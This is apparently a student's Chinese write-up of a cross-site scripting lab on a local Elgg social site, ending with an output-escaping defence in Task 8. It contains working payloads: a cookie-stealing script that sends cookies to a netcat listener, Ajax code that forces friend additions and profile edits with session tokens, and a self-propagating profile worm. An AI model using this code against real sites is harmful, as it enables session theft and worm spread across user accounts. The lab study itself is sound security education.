前言
这个实验主要是在介绍XSS攻击,就是利用一些网页的漏洞来进行一些恶意攻击,主要攻击手法为在文本中插入恶意代码,让其他用户在浏览浏览时达到恶意破坏或自传播的效果。
因为现在网页基本都用到了JavaScript,所以你可能需要看一下JavaScript并且对计算机网络知识有一定了解,不然可能做起来有一些压力。
主要攻击原理为,在前端中,JavaScript代码可以被嵌套在html标签中,比如说在网页中有一个让你编辑个人信息的标记框,按理来说我们仅应该在其中填入一些人能够理解的文字,比如说你再输入框中输入'这是我的信息',那么在你提交成功之后,这一部分的html代码就为
<p>
这是我的信息
</p>
这一切都看起来正常,但是如果有人起了坏心思,在这个输入框中输入一些JavaScript代码呢,那可就乱了套了。
比如你在编辑栏中输入了<script>alert('surprise!');</script>,然后这个网站的开发人员还没有对这样的内容做限制(这可是太蠢了),那么最后这一部分的html代码就是这样的
<p>
<script>
alert('surprise!');
</script>
</p>
看出问题了吗,<script>标签是会被直接执行的啊,然后所有来看你信息的人就会弹出一个surprise!的弹窗,你就达到了恶意破坏的效果,当然这只是最低级的,顺着这个思路,你可以插入更多的恶意JavaScript代码,从而达到更多神奇的效果,比如窃取用户的cookie、token之类的。
Task2
顺着上面讲的思路,我们登录Boby的账号,在Brief description中输入<script>alert('XSS');</script>,然后保存,再去查看Boby的个人主页时,就会弹出一个弹窗,上面的内容是'XSS'
Task3
同理这次我们把代码改为<script>alert(document.cookie);</script>,保存刷新后,我们再去访问Boby的主页时,我们就会把自己的cookie在弹窗中显示。
Task4
-
登录samy,将
Brief description修改为<script> document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + ' >'); </script>并保存。这里需要注意一下,如果你是在本机模拟,那么上面的IP地址写
127.0.0.1,如果你是在另一台虚拟机上模拟,IP地址写另一条虚拟机的IP地址,讲义上这一部分是反的。 -
运行
nc -l 5555 -v命令 -
登录alice的账号然后查看samy的主页
发现查看samy主页的人会把自己的cookie发送给代码中的地址,这样samy就可以通过获取到的cookie值进行进一步的攻击。
Task5
-
修改samy的aboutme为讲义中给好的JavaScript代码,这里记得一定要切换模式
-
登录Alice,查看samy的主页之后可以看到已经成功加为好友了
这是因为在现在的网站设计中,加好友这种操作都是采用网络请求实现的,而上述的JavaScript代码正是使用JavaScript中的ajax来发送了网络请求,通过这种方式,让所有访问到samy主页的人都发送一个加samy为好友的请求,从而达到了这种效果。
Task6
-
登录Alice的账号,更改一次aboutme,查看aboutme是如何通过网络请求更改的
通过观察可以发现,修改profile的请求请求的是
http://www.xsslabelgg.com/action/profile/edit这个url,参数是右边所示那些,所以能够得到如下JS代码<script type="text/javascript"> window.onload = function(){ //JavaScript code to access user name, user guid, Time Stamp __elgg_ts //and Security Token __elgg_token var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the content of your url. var content="&description="+"<p>Samy is MY HERO</p>"; //FILL IN var samyGuid=47; //FILL IN if(elgg.session.user.guid!=samyGuid){//Line ① var sendurl = "http://www.xsslabelgg.com/action/profile/edit?"+guid+ts+token+content; //Create and send Ajax request to modify profile var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script> -
登录samy修改aboutme并保存
-
保存后登录alice,查看samy的主页,发现aboutme被更改了,被改为了'Samy is MY HERO'
-
Line①是用来防止攻击者自己的aboutme被更改的,去掉Line①的if语句后,会看到如下效果,攻击者samy自己的aboutme也被更改了
Task7
这一步的目的是让你编写一个可以自传播的类似于病毒的代码,以达到所有看过samy主页的人也会变成传播者的效果。
经过思考可以得出如下代码
<script id=worm>
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token; //Construct the content of your url.
var content="&description="+wormCode; //FILL IN
var sendurl = "http://www.xsslabelgg.com/action/profile/edit?"+guid+ts+token+content;
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
</script>
-
将该代码插入samy的about me
-
查看samy的主页后,返回Alice自己的主页,发现Alice的about me已经被更改,查看之后可以发现已经被病毒感染
-
登录boby查看Alice的主页后,再查看自己的主页,发现boby的about me也被更改了
-
同样登录charlie查看boby的主页后,发现charlie的about me也被更改了
Task8
-
以admin登录,并把HTMLawed关掉
-
登录Alice,会发现在about me中,把代码输出了出来
-
修改php文件,取消
htmlspecialchars的注释-
text.php
-
url.php
-
dropdown.php
-
email.php
-
-
查看Alice的主页,发现与上一步并没有任何表现上的不同,但是实际上,所有的单引号和双引号都是经过转义后显示的。